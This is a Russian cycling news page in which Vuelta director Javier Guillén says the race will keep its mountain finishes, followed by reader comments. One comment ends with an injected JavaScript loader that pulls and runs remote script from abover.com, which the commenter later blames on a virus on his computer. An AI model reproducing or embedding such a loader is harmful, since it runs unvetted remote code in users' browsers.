Директор испанского Гран-тура Хавьер Гильен (Javier Guillén) подвёл итоги прошедшей Вуэльты Импании и подчеркнул, что и в будущем этапы гонки останутся преимущественно горными. В этом году даже этапы, выглядящие спринтерскими на карте, оказывались подходящими лишь для гонщиков-универсалов, но никак не для чистых спринтеров. В последние три-четыре года Вуэльта постепенно почти избавилась от долгих равнинных этапов, гонка идёт всё дальше вглубь Испании, на небольшие просёлочные дороги, организаторы находят всё новые «стены» с внушительными градиентами.

  В интервью VeloNews Гильен отметил, что в итоге за последние годы с ростом количества гор в маршруте вырос и телевизионный рейтинг Вуэльты, поэтому в дальнейшем организаторы намерены придерживаться этой же формулы: «Да, это правда, что у спринтеров было не так много возможностей. Это не значит, что нам не нравятся такие типы этапов, но у Вуэльты есть свой стиль и индивидуальность. Болельщикам нравится та гонка, которую мы делаем – с горами, с взрывными финишами в подъём. Я не собираюсь никого обманывать, нам нравятся горные финалы. Нам нравятся финиши в гору, и мы продолжим добавлять их в маршрут, включая новые подъёмы, поиск которых у нас идёт постоянно».

  Хавьер Гильен был доволен тем, что победитель Вуэльты определился лишь на последнем горнном этапе до Англиру: «Вуэльта получилась очень хорошей, с накалом эмоций с первого до последнего дня. До этапа с Англиру разрывы были очень маленькими, лишь три секунды между первым и вторым местом. Мы довольны, мы набрали отличный рейтинг. Этап до Англиру собрал отличную аудиторию. Мы основывались на успехе прошлого года. Важно, что зрители получили от Вуэльты удовольствие. Победителя определила дорога. Анализировать будем позже. Мы хотим только одного, чтобы выиграл лучший гонщик, чтобы была интересная борьба, и чтобы у нас не было проблем с победами. Кто бы ни взял победу, он заслуживает наших поздравлений».

  Несмотря на то, что официальная презентация следующего маршрута Вуэльты состоится в январе 2014 года, Гильен дал понять, что испанский Гран-тур останется гонкой для горняков и маршрут не будет сильно отличаться от того, что был в этом году.

 

Copyright © VeloLIVE.com Все права защищены

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
  1. Dario

    17 сентября 2013 21:01 | Регистрация: 8.05.2010

    Мне нравится Вуэльта нового типа. Вообще хорошо, что у каждого Грандтура есть свой рисунок и они не похожи между собой.
    Полностью поддерживаю идею с тем, чтобы было было побольше горных этапов (включая равнинные этапы с горным торчком на финише). Главное, держать руку на пульсу и не переборщить со сложностью рельефа гонки.

  2. Sm1T

    17 сентября 2013 21:07 | Регистрация: 1.01.2012

    вобщем пока Хорхе и пурито еще по разу не повыигрывают, будут горы горы горы :) (function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();

  3. Dario

    17 сентября 2013 21:10 | Регистрация: 8.05.2010

    Цитата: Sm1T
    вобщем пока Хорхе и пурито еще по разу не повыигрывают


    Пурито пока ни разу не выигрывал :)

  4. motte

    17 сентября 2013 21:40 | Регистрация: 4.07.2011

    Гильен дал понять, что испанский Гран-тур останется гонкой для горняков и маршрут не будет сильно отличаться от того, что был в этом году.
    Класс.....уже заинтриговал.....главное дожить до следующего года, ибо дальше ланча не загадываю......
    ЗЫ тогда вообще с ТДФ "прыгнуть" на новую Вуэльту будет просто невероятно (это для тех гонцов, кто действительно будет отрабатывать ТДФ).....жестоко....но рейтинг Вуэльты конкретно растет и это главное!

  5. shabaloid

    17 сентября 2013 23:13 | Регистрация: 23.07.2013

    Если сделать горную Джиро,было б интересней,горки более интересные,Вуэльта в любом случае самый интересный ГТ

  6. quantor

    18 сентября 2013 01:06 | Регистрация: 19.06.2013

    Sm1T,
    извини не первый раз наблюдаю полупрограммистский шлейф, который сопровождает твои высказывания. Ты можешь избавиться от него? Или нужна внешняя помощь?
    Ответ лучше в личку писать, если будешь.

  7. Sm1T

    18 сентября 2013 08:49 | Регистрация: 1.01.2012

    Sm1T,
    извини не первый раз наблюдаю полупрограммистский шлейф, который сопровождает твои высказывания. Ты можешь избавиться от него? Или нужна внешняя помощь?
    Ответ лучше в личку писать, если будешь.


     


    да это вирусягу поймал на комп, которая мне рекламу тыкает во все сообщения. не было временя исправить.
    сейчас этим займусь

  8. ezhachok

    18 сентября 2013 10:00 | Регистрация: 24.08.2011

    Рад за Вуэльту...с тех пор как появилась красная майка, т.е. с пор прихода в гонку A.S.O., Вуэльта стала себя позиционировать как экстремально горная гонка и это дает результат. Гонка стала интересной, рейтинги растут...а для колхозной некогда Вуэльты это - главное.

    ТДФ - это что-то особенное по статусу, у гонки давным давно есть свое лицо.
    Джиро - романтическая Италия и ее горы...гонка тоже уже давно обрела себя.
    С Вуэльтой это происходит сейчас, точнее - уже произошло и я рад за гонку, она мне всегда нравилась, еще с времен первой победы на ней Мени.

  9. RVL

    18 сентября 2013 10:54 | Регистрация: 30.08.2012

    плюсую! зачастую, на спринтерских этапах, велофаны просто кимарят до финиша, под убаюкивающее мурлыканье комментатора...

    я даже будильник ставлю, что бы спринт не проспать 

    в этом несомненно есть свои плюсы. дневной сон- это хорошо!  ))))

Информация
Посетители, находящиеся в группе Гость, не могут оставлять комментарии к данной публикации.

Ближайшие старты

ОПРОС

Маршрут какого Гранд-тура 2025 года понравился больше всего?

Комментарии

  • DenisRodikov
    Чемпионат Австралии-2025, груп ... (2)
    DenisRodikov-Фото

    Судя по хайлайтам гонки Дабридж уехал в парный отрыв в самом начале, а потом остался один впереди. Отрыв был три минуты, потом минута. Его же команда закрыла все атаки. А когда пелотон надёргался, то к Дабриджу передлжился Плапп. В конце Дабридж был мёртв, но Плапп подарил ему победу. В общем-то оба вполне заслужили быть первыми тут

  • Ernat78
    Состав велокоманды Visma Lease ... (3)
    Ernat78-Фото

    мощная команда

  • vova-55
    Джиро д'Италия-2025. Презента ... (23)
    vova-55-Фото
    Согласен, что рельеф этапов в целом выглядит странно и неубедительно.
    Понимаю тех, кто восторгается новизной.
    Однако эта попытка придумать что-то оригинальное мне кажется даст отрицательный результат.
    Разве что появятся новые имена и зажгутся новые звезды, но это не точно.
  • Astanaforever
    Состав велокоманды Visma Lease ... (3)
    Astanaforever-Фото
    Читай внимательно. ... победила на всех этапах ... этапах.! " Прошлый сезон команда завершила с 32 победами, включая победы на этапах всех трёх Гранд-туров. "..
  • Cahko
    Джиро д'Италия-2025. Презента ... (23)
    Cahko-Фото

    хм, по сути только с 16 этапа большие горы. ну чуть в начале. необычно.
    ну если время будет, мб поглядим

  • Геродот
    Саймон Йейтс: “Джиро д’Италия ... (4)
    Геродот-Фото

    Цитата: error
    Лично я не очень понял зачем Саймон Висме... Висма всегда славилась своей школой, а тут уже вобщем не тот Саймон и 32 года...

    В горный поезд (вместо Роглы). Вот увидите, обретет вторую молодость и полетит не хуже Кусса (а может и лучше, будет последним колесом). Это ж Висма). Ван Арт, Йоргенсен, Кусс, Йейтс - классный поезд. Братец в Эмиратах вдруг превратился в отличного горного гонщика и даже лидера на недельки... А Саймон чем хуже?))

  • Геродот
    Джиро д'Италия-2025. Презента ... (23)
    Геродот-Фото
    Цитата: Джамайка
    в прошлом году из-за доминирования Погачара не появилось желания смотреть ни одного этапа Джиры, к-я была раньше любимым Гран-туром aggressive.
    Громких имен не будет, Ейтс-Роглич.
    ФИниш в гору не гарантирует зрелищность и борьбу. Финиш после спуска дает разные сценарии, отъезды, позиционная борьба...заранее не стоит фыркать.
    Ван Арт впервые едет. В бельгийской прессе тут же начались спекуляции о том, что Ван дер Пул вроде тоже собрался (зачем, интересно?). Скучают по велоспорту, Хет Ниуисблат печатает столько материалов, как будто сезон в разгаре.
    Согласен. Армстонг и Вино не дадут соврать,что блестяще побеждать можно не только на финише в гору, но и на спринтерском финише на равнине,после спуска с горы. Гонку делает не рельеф, а гонщики. Гонцы могут заколхозить самый убойный рельеф и устроить шоу на равнине.
  • SVS
    Джиро д'Италия-2025. Презента ... (23)
    SVS-Фото
    У меня тоже Джиро был (а может и остаётся всё-таки) - любимым гранд-туром.

    Но гораздо больше ущерба желанию смотреть нанесли, ИМХО пляски с отменами, сокращениями и фрагментацией этапов из-за требований гонщиков и погодных условий.
  • SVS
    Джиро д'Италия-2025. Презента ... (23)
    SVS-Фото
    Где-то я читал, что в 2022 году Ван Арт на Витториа Корса ездил.

    Я, кстати, в этом году впервые купил шины Пирелли. И вот по сравнению с моими прежними швальбами, спешами и туфо - прямо поразился, насколько "грубо" сделаны, не аккуратно.

Велоспорт ВКонтакте

Телеграм VeloLIVE

Одноклассники